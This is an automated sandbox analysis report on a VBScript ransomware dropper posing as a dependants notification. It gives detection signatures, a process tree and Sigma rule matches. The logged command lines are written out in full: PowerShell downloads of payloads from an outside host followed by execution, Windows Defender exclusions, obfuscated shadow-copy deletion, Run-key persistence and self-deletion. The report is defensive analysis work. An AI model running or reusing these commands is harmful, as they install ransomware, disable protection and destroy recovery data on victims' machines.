Edit tour

Windows Analysis Report
NOTIFICATION_OF_DEPENDANTS_1.vbs

Overview

General Information

Sample name:	NOTIFICATION_OF_DEPENDANTS_1.vbs
Analysis ID:	1579449
MD5:	9a10ccf62e25194ba112cd1058b43a52
SHA1:	56bcf9ea53ac136b025a337e0b74bd36ccd67db8
SHA256:	2d67d4e708c92155a2a9b90d728057e024b57a031ea7d21d34da65a5f4de3028
Tags:	vbsuser-TeamDreier
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Sigma detected: Delete shadow copy via WMIC

VBScript performs obfuscated calls to suspicious functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Deletes shadow drive data (may be related to ransomware)

Loading BitLocker PowerShell Module

May encrypt documents and pictures (Ransomware)

Modifies existing user documents (likely ransomware behavior)

Overwrites Mozilla Firefox settings

Powershell drops PE file

Sigma detected: Control Panel Items

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation STDIN+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Sigma detected: Suspicious Ping/Del Command Combination

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes data at the end of the disk (often used by bootkits to hide malicious code)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Command Line Path Traversal Evasion Attempt

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Stores large binary data to the registry

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1456 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1528 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2120 cmdline: "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5888 cmdline: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 04029E121A0CFA5991749937DD22A1D9)

chrome.exe (PID: 5260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cmd.exe (PID: 6380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1196 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2008 cmdline: "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

control.exe (PID: 7960 cmdline: control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: 11C18DBF352D81C9532A8EF442151CB1)

rundll32.exe (PID: 6256 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 576 cmdline: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 4312 cmdline: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7936 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 3952 cmdline: cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4332 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 1272 cmdline: cmd /c %temp%/eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

eryy65ty.exe (PID: 520 cmdline: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe MD5: 2B986178DA0C3D081F99AC8FB4A5952C)

WMIC.exe (PID: 4008 cmdline: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8716 cmdline: c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 8732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8724 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8800 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

svchost.exe (PID: 7196 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

eryy65ty.exe (PID: 4848 cmdline: "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: 2B986178DA0C3D081F99AC8FB4A5952C)

WMIC.exe (PID: 4084 cmdline: c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 9116 cmdline: c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 9132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9124 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 9200 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

eryy65ty.exe (PID: 5292 cmdline: "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: 2B986178DA0C3D081F99AC8FB4A5952C)

WMIC.exe (PID: 8556 cmdline: c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 8564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5424 cmdline: c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4664 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4188 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

notepad.exe (PID: 8876 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, ProcessId: 4008, ProcessName: WMIC.exe

System Summary

Sigma detected: Control Panel Items

Source: Process started

Author: Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_): Data: Command: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 1196, ProcessName: powershell.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation STDIN+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp", CommandLine: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 576, ParentProcessName: rundll32.exe, ProcessCommandLine: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp", ProcessId: 4312, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe..d.<s.sd...v._._Y...0.$.. "#..h..".s..8..sc..S.D."..#.s..s.. ...S.}..s.s.s$s(s...`,s.....8s...Ds...hsJ.....sr....s5..........<.<.Dxs.s.....s).D...s^uD..D.s svQ.(s.u...w<.D, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 520, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, ProcessId: 4008, ProcessName: WMIC.exe

Sigma detected: Suspicious Ping/Del Command Combination

Source: Process started

Author: Ilya Krestinichev: Data: Command: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe", CommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe", ProcessId: 8724, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ProcessId: 1456, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe..d.<s.sd...v._._Y...0.$.. "#..h..".s..8..sc..S.D."..#.s..s.. ...S.}..s.s.s$s(s...`,s.....8s...Ds...hsJ.....sr....s5..........<.<.Dxs.s.....s).D...s^uD..D.s svQ.(s.u...w<.D, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 520, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW

Sigma detected: Potential Command Line Path Traversal Evasion Attempt

Source: Process started

Author: Christian Burkard (Nextron Systems): Data: Command: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, ProcessId: 4008, ProcessName: WMIC.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 520, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

